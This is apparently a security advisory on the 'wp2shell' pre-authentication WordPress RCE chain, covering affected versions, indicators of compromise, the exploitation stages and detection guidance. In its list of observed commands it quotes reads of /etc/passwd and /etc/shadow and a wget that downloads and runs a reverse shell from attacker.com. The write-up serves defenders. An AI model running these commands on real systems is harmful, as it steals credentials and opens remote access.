On July 17, 2026, Searchlight Cyber publicly disclosed "wp2shell," a critical pre-authentication remote code execution (RCE) vulnerability chain affecting WordPress Core. The vulnerability, tracked as CVE-2026-63030 and CVE-2026-60137, allows attackers to execute arbitrary code on vulnerable WordPress installations without requiring authentication. Proof-of-concept (PoC) tools for wp2shell quickly appeared on platforms like GitHub, leading to immediate scanning and exploitation attempts in the wild.
The wp2shell chain exploits a route confusion flaw within WordPress Core's REST batch endpoint, specifically `/wp-json/batch/v1` or `/?rest_route=/batch/v1`. This vulnerability allows sub-requests within a batch call to be dispatched to an incorrect REST handler, bypassing method restrictions. Attackers can leverage nested batch calls to achieve a pre-authentication SQL injection primitive through query parameters that should not be applicable to the targeted route.
From this initial SQL injection, exploitation paths diverge. Some PoCs, such as the one published by Icex0, escalate privileges by bridging the SQL injection to an administrator account and then uploading a malicious plugin. Other observed methods involve directly dropping a webshell to disk using SQL `INTO OUTFILE` functionality. Both approaches ultimately lead to attacker-controlled PHP code execution on the host, followed by command execution through the web stack.
WordPress versions 6.9.0 through 6.9.4 and 7.0.0 through 7.0.1 are fully vulnerable to the pre-authentication RCE chain. WordPress versions 6.8.0 through 6.8.5 are affected by the SQL injection primitive but not the full RCE chain; users of these versions should update to 6.8.6. Versions 6.8.6, 6.9.5, and 7.0.2 contain patches for the respective vulnerabilities and are not affected by the full RCE chain. Users can check their exposure at wp2shell.com.
Telemetry from honeypots and customer environments shows a mix of vulnerability scanning and full exploitation attempts. Common indicators of compromise (IOCs) include web server processes (e.g., `httpd`, `apache2`, `php-fpm`) spawning shell processes and executing short discovery commands like `sh -c id`, `whoami`, and `hostname`. When the plugin-upload chain is used, new directories with names like `wp2shell_hex` (e.g., `wp2shell_6a5566a6`) appear under `wp-content/plugins/`. Access logs may also show `POST /?rest_route=/batch/v1` requests with a `User-Agent: wp2shell`.
A typical exploitation sequence using the Icex0 PoC involves several stages. First, the web server process (e.g., `apache2`) writes temporary files under `wp-content/` to confirm writability. Next, a malicious zip file (e.g., `wp2shell_6a5566a6.zip`) is uploaded to `wp-content/uploads/`, with a temporary PHP upload file created under `/tmp/`. The plugin is then unpacked into `wp-content/upgrade/wp2shell_hex/.../wp2shell_hex.php` and finally installed by renaming the directory to `wp-content/plugins/wp2shell_hex/`. All these file operations are performed by the web server process, which, while normal for legitimate plugin uploads, is anomalous in this volume and with these specific filenames on a production site.
Following the plugin installation, the web server process spawns a shell from the newly created plugin directory. This transition from serving HTTP requests to executing shell commands is a critical detection point. Observed commands include `id`, `whoami`, `hostname`, `uname -a`, `cat /etc/passwd`, `cat /etc/shadow`, `ls -laR /var/www/html/wp-content/uploads/`, `find / -maxdepth 3 -writable`, `wget -qO /tmp/wp2shell_6a5566a6_revshell http://attacker.com/revshell`, `chmod +x /tmp/wp2shell_6a5566a6_revshell`, and `/tmp/wp2shell_6a5566a6_revshell`.
Defenders should prioritize patching to WordPress 7.0.2 or 6.9.5 immediately. For detection, monitoring for web server processes spawning shells, unusual file creations in the `wp-content/plugins/` directory, and specific access log entries are crucial. While PoC-specific strings can aid in initial triage, behavioral detection, such as identifying web server-to-shell process relationships, offers more durable coverage against evolving attack payloads. The attack chain maps to MITRE ATT&CK techniques such as Exploit Public-Facing Application (T1190), Server Software Component: Web Shell (T1505.003), and Command and Scripting Interpreter (T1059).
